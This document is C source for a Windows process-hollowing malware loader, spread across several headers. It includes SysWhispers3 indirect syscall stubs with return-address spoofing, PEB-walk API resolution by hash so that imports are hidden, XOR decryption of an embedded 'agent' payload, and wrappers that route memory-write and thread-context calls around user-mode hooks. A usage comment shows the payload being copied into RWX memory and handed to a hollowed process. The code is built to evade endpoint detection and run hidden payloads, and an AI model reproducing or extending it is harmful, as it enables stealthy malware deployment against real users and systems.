// Save total number of system calls found.
SW3_SyscallList.Count = i;
// Sort the list by address in ascending order.
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SW3_SYSCALL_ENTRY TempEntry;
TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;
TempEntry.SyscallAddress = Entries[j].SyscallAddress;
Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;
Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
}
}
}
return TRUE;
}
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return -1;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return i;
}
}
return -1;
}
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
{
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
{
return SW3_SyscallList.Entries[i].SyscallAddress;
}
}
return NULL;
}
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
{
// Ensure SW3_SyscallList is populated.
if (!SW3_PopulateSyscallList()) return NULL;
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
// Spoofing the syscall return address
index = ((DWORD) rand()) % SW3_SyscallList.Count;
}
return SW3_SyscallList.Entries[index].SyscallAddress;
}
Structs.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#pragma once
#ifndef STRUCTS_H
#define STRUCTS_H
#include <Windows.h>
// ─── Basic macros ─────────────────────────────────────────────────────────────
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS 0x00000000
#endif
#ifndef NtCurrentProcess
#define NtCurrentProcess() ((HANDLE)-1)
#endif
#ifndef NtCurrentThread
#define NtCurrentThread() ((HANDLE)-2)
#endif
#ifndef NT_SUCCESS
#define NT_SUCCESS(STATUS) (((NTSTATUS)(STATUS)) >= STATUS_SUCCESS)
#endif
// ─── FILE_DISPOSITION_INFORMATION (needed for delete-on-close) ────────────────
typedef struct _FILE_DISPOSITION_INFORMATION {
BOOLEAN DeleteFile;
} FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION;
// ─── Minimal PEB ──────────────────────────────────────────────────────────────
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBase;
PVOID LoaderData;
PVOID ProcessParameters;
} PEB, * PPEB;
// ─── PROCESS_BASIC_INFORMATION ────────────────────────────────────────────────
typedef LONG KPRIORITY;
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PPEB PebBaseAddress;
ULONG_PTR AffinityMask;
KPRIORITY BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION;
// ─── Full RTL_USER_PROCESS_PARAMETERS ─────────────────────────────────────────
#define RTL_MAX_DRIVE_LETTERS 32
typedef struct _RTL_DRIVE_LETTER_CURDIR {
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
typedef struct _CURDIR {
UNICODE_STRING DosPath;
HANDLE Handle;
} CURDIR, * PCURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
HANDLE ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
ULONG_PTR EnvironmentSize;
ULONG_PTR EnvironmentVersion;
PVOID PackageDependencyData;
ULONG ProcessGroupId;
ULONG LoaderThreads;
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
// ─── Flags ────────────────────────────────────────────────────────────────────
#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001
#define PS_INHERIT_HANDLES 4
#define FILE_SUPERSEDE 0x00000000
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#define OBJ_CASE_INSENSITIVE 0x00000040L
// ─── RtlCreateProcessParametersEx ─────────────────────────────────────────────
typedef NTSTATUS(NTAPI* fnRtlCreateProcessParametersEx)(
PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);
#endif // !STRUCTS_H
api_resolve.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
/*
* api_resolve.h — runtime API resolution via PEB export-table walking
*
* Resolves CreateProcessA at runtime so it never appears in the IAT.
*
* How it works:
* 1. Walk PEB.Ldr.InMemoryOrderModuleList to locate the kernel32.dll base.
* 2. Parse its PE export directory and match exports by djb2 name hash.
* 3. Store the result in a WIN32_APIS struct.
* 4. The #define macro at the bottom shadows the __declspec(dllimport)
* declaration from <windows.h> — the call site goes through the
* function pointer, never through the import thunk.
*
* Usage:
* - #include "api_resolve.h" AFTER <windows.h>
* - Declare one global: static WIN32_APIS g_Api = { 0 };
* - Call ResolveApis(&g_Api) once at the top of main() before anything else.
*/
#pragma once
#include <windows.h>
#include <stdint.h>
/* ══════════════════════════════════════════════════════════════════
* Internal PEB / LDR structures
* Defined locally so we do not depend on winternl.h
* ══════════════════════════════════════════════════════════════════ */
typedef struct _APIR_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} APIR_UNICODE_STRING;
typedef struct _APIR_PEB_LDR {
ULONG Length;
BOOL Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList; // <- entry point for our walk
} APIR_PEB_LDR, * PAPIR_PEB_LDR;
typedef struct _APIR_LDR_ENTRY {
LIST_ENTRY InLoadOrderLinks; // +0x000
LIST_ENTRY InMemoryOrderLinks; // +0x010 <- list we follow
LIST_ENTRY InInitOrderLinks; // +0x020
PVOID DllBase; // +0x030
PVOID EntryPoint; // +0x038
ULONG SizeOfImage; // +0x040
ULONG _pad;
APIR_UNICODE_STRING FullDllName; // +0x048
APIR_UNICODE_STRING BaseDllName; // +0x058
} APIR_LDR_ENTRY, * PAPIR_LDR_ENTRY;
typedef struct _APIR_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PAPIR_PEB_LDR Ldr;
} APIR_PEB, * PAPIR_PEB;
/* ══════════════════════════════════════════════════════════════════
* Pre-computed djb2 hashes (case-insensitive, generated offline)
* No API name strings appear in the binary — only these constants.
* ══════════════════════════════════════════════════════════════════ */
#define APIR_HASH_KERNEL32 0x3E003875UL
#define APIR_HASH_CREATEPROCESSA 0x75B7492BUL
/* ══════════════════════════════════════════════════════════════════
* Function pointer typedef
* ══════════════════════════════════════════════════════════════════ */
typedef BOOL(WINAPI* pfn_CreateProcessA)(
LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES,
LPSECURITY_ATTRIBUTES, BOOL, DWORD,
LPVOID, LPCSTR, LPSTARTUPINFOA,
LPPROCESS_INFORMATION);
/* ══════════════════════════════════════════════════════════════════
* Resolved API struct
* ══════════════════════════════════════════════════════════════════ */
typedef struct _WIN32_APIS {
pfn_CreateProcessA pCreateProcessA;
} WIN32_APIS, * PWIN32_APIS;
/* ══════════════════════════════════════════════════════════════════
* _apir_hash — djb2, case-insensitive ASCII
* ══════════════════════════════════════════════════════════════════ */
static __forceinline uint32_t _apir_hash(const char* s)
{
uint32_t h = 5381;
char c;
while ((c = *s++)) {
if (c >= 'A' && c <= 'Z') c |= 0x20;
h = ((h << 5) + h) ^ (uint32_t)(unsigned char)c;
}
return h;
}
/* ══════════════════════════════════════════════════════════════════
* _apir_whash — djb2 over a UNICODE_STRING buffer (low byte only)
* ══════════════════════════════════════════════════════════════════ */
static __forceinline uint32_t _apir_whash(const WCHAR* buf, USHORT byte_len)
{
uint32_t h = 5381;
USHORT n = byte_len / sizeof(WCHAR);
for (USHORT i = 0; i < n; i++) {
unsigned char c = (unsigned char)(buf[i] & 0xFF);
if (c >= 'A' && c <= 'Z') c |= 0x20;
h = ((h << 5) + h) ^ c;
}
return h;
}
/* ══════════════════════════════════════════════════════════════════
* _apir_find_module
* Walk PEB.Ldr.InMemoryOrderModuleList and return the DllBase
* of the module whose BaseDllName hashes to mod_hash.
* ══════════════════════════════════════════════════════════════════ */
static __forceinline PVOID _apir_find_module(uint32_t mod_hash)
{
// x64: PEB pointer lives at GS:[0x60]
PAPIR_PEB pPeb = (PAPIR_PEB)__readgsqword(0x60);
PAPIR_PEB_LDR pLdr = pPeb->Ldr;
LIST_ENTRY* pHead = &pLdr->InMemoryOrderModuleList;
LIST_ENTRY* pCurr = pHead->Flink;
while (pCurr != pHead) {
PAPIR_LDR_ENTRY pEntry = CONTAINING_RECORD(pCurr, APIR_LDR_ENTRY, InMemoryOrderLinks);
if (pEntry->BaseDllName.Buffer && pEntry->BaseDllName.Length) {
if (_apir_whash(pEntry->BaseDllName.Buffer, pEntry->BaseDllName.Length) == mod_hash)
return pEntry->DllBase;
}
pCurr = pCurr->Flink;
}
return NULL;
}
/* ══════════════════════════════════════════════════════════════════
* _apir_find_export
* Parse the PE export directory of pBase and return the VA of the
* export whose name hashes to fn_hash.
* ══════════════════════════════════════════════════════════════════ */
static __forceinline PVOID _apir_find_export(PVOID pBase, uint32_t fn_hash)
{
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBase;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((ULONG_PTR)pBase + pDos->e_lfanew);
DWORD expRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!expRva) return NULL;
PIMAGE_EXPORT_DIRECTORY pExp =
(PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)pBase + expRva);
PDWORD pNames = (PDWORD)((ULONG_PTR)pBase + pExp->AddressOfNames);
PWORD pOrdinals = (PWORD)((ULONG_PTR)pBase + pExp->AddressOfNameOrdinals);
PDWORD pFuncs = (PDWORD)((ULONG_PTR)pBase + pExp->AddressOfFunctions);
for (DWORD i = 0; i < pExp->NumberOfNames; i++) {
const char* name = (const char*)((ULONG_PTR)pBase + pNames[i]);
if (_apir_hash(name) == fn_hash) {
DWORD rva = pFuncs[pOrdinals[i]];
return (PVOID)((ULONG_PTR)pBase + rva);
}
}
return NULL;
}
/* ══════════════════════════════════════════════════════════════════
* ResolveApis
* Resolve CreateProcessA in one call. Call once at the top of main().
* ══════════════════════════════════════════════════════════════════ */
static __forceinline BOOL ResolveApis(PWIN32_APIS pApi)
{
if (!pApi) return FALSE;
PVOID pK32 = _apir_find_module(APIR_HASH_KERNEL32);
if (!pK32) return FALSE;
#define _RESOLVE(field, hash) \
pApi->field = (void*)_apir_find_export(pK32, hash); \
if (!pApi->field) return FALSE;
_RESOLVE(pCreateProcessA, APIR_HASH_CREATEPROCESSA)
#undef _RESOLVE
return TRUE;
}
/* ══════════════════════════════════════════════════════════════════
* Shadow macro — CreateProcessA only.
* ══════════════════════════════════════════════════════════════════ */
#define CreateProcessA g_Api.pCreateProcessA
blob_crypt.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
/*
* blob_crypt.h — runtime decryption of an arbitrary binary blob
*
* Pair with blob_crypt_key.h generated by blob_encryptor.py.
* No CRT dependency; uses only HeapAlloc / GetProcessHeap.
*
* Typical flow
* ──────────────────────────────────────────────────────────────
* 1. blob_encryptor.py agent.bin out/
* -> out/agent_enc.bin (embed as RCDATA in .rsrc)
* -> out/blob_crypt_key.h
* 2. In your .rc:
* IDR_AGENT AGENTBIN "agent_enc.bin"
* 3. At runtime: BlobDecryptFromResource() -> RWX mapping -> hollow
*/
#pragma once
#include <windows.h>
#include <stdint.h>
/* ══════════════════════════════════════════════════════════════════
* Keystream generator — SplitMix64 finalizer seeded by block index.
* Identical to ptr_crypt.h :: _ptrc_mix(); shared mixing function.
* ══════════════════════════════════════════════════════════════════ */
static __forceinline uint64_t
_blobc_mix(uint64_t key, uint64_t idx)
{
uint64_t x = key ^ (idx * 0x9E3779B97F4A7C15ULL);
x = (x ^ (x >> 30)) * 0xBF58476D1CE4E5B9ULL;
x = (x ^ (x >> 27)) * 0x94D049BB133111EBULL;
return x ^ (x >> 31);
}
/* ══════════════════════════════════════════════════════════════════
* BlobDecryptInPlace
* ──────────────────────────────────────────────────────────────
* XOR-decrypt a buffer in-place.
* (XOR cipher: encrypt == decrypt, same function both ways.)
*
* buf : writable buffer containing encrypted bytes
* size : byte length (BLOB_SIZE from blob_crypt_key.h)
* key : BLOB_KEY from blob_crypt_key.h
* ══════════════════════════════════════════════════════════════════ */
static __forceinline void
BlobDecryptInPlace(uint8_t* buf, SIZE_T size, uint64_t key)
{
SIZE_T full = size / 8;
SIZE_T tail = size % 8;
uint64_t ks;
/* full 8-byte blocks */
for (SIZE_T i = 0; i < full; i++) {
ks = _blobc_mix(key, (uint64_t)i);
/* write back as little-endian bytes — portable, no alignment req */
uint8_t* p = buf + i * 8;
p[0] ^= (uint8_t)(ks);
p[1] ^= (uint8_t)(ks >> 8);
p[2] ^= (uint8_t)(ks >> 16);
p[3] ^= (uint8_t)(ks >> 24);
p[4] ^= (uint8_t)(ks >> 32);
p[5] ^= (uint8_t)(ks >> 40);
p[6] ^= (uint8_t)(ks >> 48);
p[7] ^= (uint8_t)(ks >> 56);
}
/* trailing partial block */
if (tail) {
ks = _blobc_mix(key, (uint64_t)full);
uint8_t* p = buf + full * 8;
for (SIZE_T b = 0; b < tail; b++)
p[b] ^= (uint8_t)(ks >> (b * 8));
}
}
/* ══════════════════════════════════════════════════════════════════
* BlobDecryptFromResource
* ──────────────────────────────────────────────────────────────
* Load the encrypted blob from an RCDATA resource, copy it to a
* writable heap buffer, decrypt in-place, and return the buffer.
*
* hModule : module with the resource (NULL = current image)
* rsrcId : MAKEINTRESOURCEW(IDR_AGENT)
* rsrcType : resource type, e.g. L"AGENTBIN"
* key : BLOB_KEY from blob_crypt_key.h
* outSize : receives byte count of the decrypted buffer (may be NULL)
*
* Returns : heap buffer with plaintext blob.
* HeapFree(GetProcessHeap(), 0, ptr) when done.
* Returns NULL on any failure.
*
* NOTE: the returned buffer is plain heap memory (RW).
* For shellcode you need to VirtualAlloc RWX separately —
* see the usage comment at the bottom of this file.
* ══════════════════════════════════════════════════════════════════ */
static __forceinline uint8_t*
BlobDecryptFromResource(HMODULE hModule,
LPCWSTR rsrcId,
LPCWSTR rsrcType,
uint64_t key,
SIZE_T* outSize)
{
HRSRC hRes = FindResourceW(hModule, rsrcId, rsrcType);
if (!hRes) return NULL;
DWORD dwSz = SizeofResource(hModule, hRes);
HGLOBAL hGlob = LoadResource(hModule, hRes);
if (!hGlob) return NULL;
const uint8_t* src = (const uint8_t*)LockResource(hGlob);
if (!src) return NULL;
/* writable copy — resource mapping is read-only */
uint8_t* buf = (uint8_t*)HeapAlloc(
GetProcessHeap(), 0, (SIZE_T)dwSz);
if (!buf) return NULL;
CopyMemory(buf, src, dwSz);
BlobDecryptInPlace(buf, (SIZE_T)dwSz, key);
if (outSize) *outSize = (SIZE_T)dwSz;
return buf;
}
/*
* ── .rc snippet ──────────────────────────────────────────────────
*
* // resource.h
* #define IDR_AGENT 102
*
* // resources.rc
* #include "resource.h"
* IDR_AGENT AGENTBIN "agent_enc.bin"
*
*
* ── usage: decrypt + copy to RWX page (shellcode) ────────────────
*
* #include "blob_crypt.h"
* #include "blob_crypt_key.h" // generated by blob_encryptor.py
* #include "resource.h"
*
* SIZE_T sz = 0;
* uint8_t *buf = BlobDecryptFromResource(
* NULL,
* MAKEINTRESOURCEW(IDR_AGENT),
* L"AGENTBIN",
* BLOB_KEY,
* &sz);
*
* if (!buf) { // handle error }
*
* // Allocate executable memory and copy plaintext there
* LPVOID exec = VirtualAlloc(NULL, sz,
* MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
* CopyMemory(exec, buf, sz);
*
* // Wipe the plaintext heap buffer immediately
* SecureZeroMemory(buf, sz);
* HeapFree(GetProcessHeap(), 0, buf);
*
* // exec now holds your plaintext agent — hand to hollow target
* // (WriteProcessMemory into the hollowed section, etc.)
*
*
* ── usage: in-place decrypt of an already-mapped region ──────────
*
* // If you VirtualAlloc'd and copied the encrypted blob yourself:
* BlobDecryptInPlace((uint8_t *)mappedAddr, BLOB_SIZE, BLOB_KEY);
*/
blob_crypt_key.h
1
2
3
4
5
6
// AUTO-GENERATED — do not commit to source control
#pragma once
#define BLOB_KEY 0x6E65C62CC5F8864EULL
#define BLOB_SIZE 105472UL
nt_wrappers.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
/*
* nt_wrappers.h — Win32-to-Sw3Nt* bridge over SysWhispers3 indirect syscall stubs
*
* SysWhispers3 generated "syscalls-n0xshell.h" / "syscalls-n0xshell-asm.x64.asm"
* with the Sw3 prefix. The Win32 API signatures differ from the Nt* signatures
* (pointer-to-pointer base address, ULONG vs DWORD, etc.) — these thin inline
* wrappers translate parameters, then shadow macros re-expose them under the
* original Win32 names so hollow.c call sites need zero edits.
*
* Result:
* - VirtualAllocEx / WriteProcessMemory / VirtualProtectEx /
* GetThreadContext / SetThreadContext / ResumeThread
* are NOT in the IAT; call stacks show ntdll return addresses.
* - CreateProcessA stays in api_resolve.h (PEB-walk function pointer).
*
* Include order in hollow.c:
* #include <windows.h>
* #include <winternl.h>
* #include "api_resolve.h" // CreateProcessA shadow — must be first
* #include "syscalls-n0xshell.h" // SysWhispers3 Sw3Nt* declarations
* #include "nt_wrappers.h" // this file — must follow syscalls header
*/
#pragma once
#include <windows.h>
/* NT_SUCCESS guard — winternl.h provides it, but ensure it's always defined */
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
/* ══════════════════════════════════════════════════════════════════
* VirtualAllocEx → Sw3NtAllocateVirtualMemory
*
* Win32: LPVOID VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress,
* SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
* Returns allocated VA on success, NULL on failure.
*
* Nt*: NTSTATUS Sw3NtAllocateVirtualMemory(
* HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits,
* PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)
* ══════════════════════════════════════════════════════════════════ */
static __forceinline LPVOID
_wrap_VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress,
SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
PVOID base = lpAddress;
SIZE_T region = dwSize;
NTSTATUS st = Sw3NtAllocateVirtualMemory(
hProcess, &base, 0, ®ion,
(ULONG)flAllocationType, (ULONG)flProtect);
return NT_SUCCESS(st) ? base : NULL;
}
/* ══════════════════════════════════════════════════════════════════
* WriteProcessMemory → Sw3NtWriteVirtualMemory
*
* Win32: BOOL WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress,
* LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten)
*
* Nt*: NTSTATUS Sw3NtWriteVirtualMemory(
* HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer,
* SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten OPTIONAL)
* ══════════════════════════════════════════════════════════════════ */
static __forceinline BOOL
_wrap_WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress,
LPCVOID lpBuffer, SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten)
{
NTSTATUS st = Sw3NtWriteVirtualMemory(
hProcess, lpBaseAddress, (PVOID)lpBuffer,
nSize, lpNumberOfBytesWritten);
return NT_SUCCESS(st);
}
/* ══════════════════════════════════════════════════════════════════
* VirtualProtectEx → Sw3NtProtectVirtualMemory
*
* Win32: BOOL VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress,
* SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
*
* Nt*: NTSTATUS Sw3NtProtectVirtualMemory(
* HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize,
* ULONG NewProtect, PULONG OldProtect)
* ══════════════════════════════════════════════════════════════════ */
static __forceinline BOOL
_wrap_VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress,
SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
{
PVOID base = lpAddress;
SIZE_T region = dwSize;
ULONG old = 0;
NTSTATUS st = Sw3NtProtectVirtualMemory(
hProcess, &base, ®ion, (ULONG)flNewProtect, &old);
if (lpflOldProtect) *lpflOldProtect = (DWORD)old;
return NT_SUCCESS(st);
}
/* ══════════════════════════════════════════════════════════════════
* GetThreadContext → Sw3NtGetContextThread
*
* Win32: BOOL GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
*
* Nt*: NTSTATUS Sw3NtGetContextThread(
* HANDLE ThreadHandle, PCONTEXT ThreadContext)
* ══════════════════════════════════════════════════════════════════ */
static __forceinline BOOL
_wrap_GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
{
NTSTATUS st = Sw3NtGetContextThread(hThread, lpContext);
return NT_SUCCESS(st);
}
/* ══════════════════════════════════════════════════════════════════
* SetThreadContext → Sw3NtSetContextThread
*
* Win32: BOOL SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
*
* Nt*: NTSTATUS Sw3NtSetContextThread(
* HANDLE ThreadHandle, PCONTEXT Context)
* ══════════════════════════════════════════════════════════════════ */
static __forceinline BOOL
_wrap_SetThreadContext(HANDLE hThread, const CONTEXT* lpContext)
{
NTSTATUS st = Sw3NtSetContextThread(hThread, (PCONTEXT)lpContext);
return NT_SUCCESS(st);
}
/* ══════════════════════════════════════════════════════════════════
* ResumeThread → Sw3NtResumeThread
*
* Win32: DWORD ResumeThread(HANDLE hThread)
* Returns previous suspend count, or (DWORD)-1 on error.
*
* Nt*: NTSTATUS Sw3NtResumeThread(
* HANDLE ThreadHandle, PULONG PreviousSuspendCount OPTIONAL)
* ══════════════════════════════════════════════════════════════════ */
static __forceinline DWORD
_wrap_ResumeThread(HANDLE hThread)
{
ULONG prev = 0;
NTSTATUS st = Sw3NtResumeThread(hThread, &prev);
return NT_SUCCESS(st) ? (DWORD)prev : (DWORD)-1;
}
/* ══════════════════════════════════════════════════════════════════
* Shadow macros — redirect Win32 call sites to the wrappers above.
* hollow.c call sites require zero edits.
*
* NOTE: include this file AFTER "syscalls-n0xshell.h" (Sw3Nt* declarations)
* and AFTER "api_resolve.h" (CreateProcessA shadow already set there).
* ══════════════════════════════════════════════════════════════════ */
#define VirtualAllocEx _wrap_VirtualAllocEx
#define WriteProcessMemory _wrap_WriteProcessMemory
#define VirtualProtectEx _wrap_VirtualProtectEx
#define GetThreadContext _wrap_GetThreadContext
#define SetThreadContext _wrap_SetThreadContext
#define ResumeThread _wrap_ResumeThread
resource.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//
// Microsoft Visual C++ generated include file.
// Used by Ghost-Process-Ldr.rc
//
#define IDR_N0XSHELL1 101
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 102
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
syscall-n0xshell.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
#pragma once
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
#ifndef SW3_HEADER_H_
#define SW3_HEADER_H_
#include <windows.h>
#ifndef _NTDEF_
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef NTSTATUS* PNTSTATUS;
#endif
#define SW3_SEED 0xCCE19210
#define SW3_ROL8(v) (v << 8 | v >> 24)
#define SW3_ROR8(v) (v >> 8 | v << 24)
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
#define SW3_MAX_ENTRIES 600
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
// Typedefs are prefixed to avoid pollution.
typedef struct _SW3_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
PVOID SyscallAddress;
} SW3_SYSCALL_ENTRY, * PSW3_SYSCALL_ENTRY;
typedef struct _SW3_SYSCALL_LIST
{
DWORD Count;
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
} SW3_SYSCALL_LIST, * PSW3_SYSCALL_LIST;
